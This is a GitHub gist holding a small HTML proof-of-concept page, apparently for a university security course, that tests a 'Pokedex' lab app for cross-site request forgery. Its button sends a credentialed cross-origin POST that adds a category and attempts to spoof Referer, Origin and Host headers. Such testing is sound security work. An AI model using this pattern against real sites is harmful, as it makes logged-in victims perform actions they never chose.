Created
April 19, 2018 13:01
-
-
Save viktorfa/98cba1cb92641d079cf07298e6c8ead8 to your computer and use it in GitHub Desktop.
Test the Pokedex categories page for CSRF attacks
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
</head> | |
<body> | |
<script> | |
const headers = new Headers({ | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Referer': 'http://tdt4237.idi.ntnu.no:5017/categories/add', | |
'Origin': 'http://tdt4237.idi.ntnu.no:5017', | |
'Host': 'http://tdt4237.idi.ntnu.no:5017', | |
}) | |
const formData = { | |
title: 'title3', | |
description: 'desc3', | |
} | |
const body = Object.keys(formData).map((key) => { | |
return `${encodeURIComponent(key)}=${encodeURIComponent(formData[key])}`; | |
}).join('&'); | |
console.log("body"); | |
console.log(body); | |
const sendRequest = () => { | |
fetch('http://tdt4237.idi.ntnu.no:5017/categories/add', {method: 'POST', mode: 'no-cors', headers, credentials: 'include', body,}).then(() => { | |
console.log("Sent request") | |
}) | |
} | |
</script> | |
<button onclick="sendRequest()"> | |
Klikk | |
</button> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment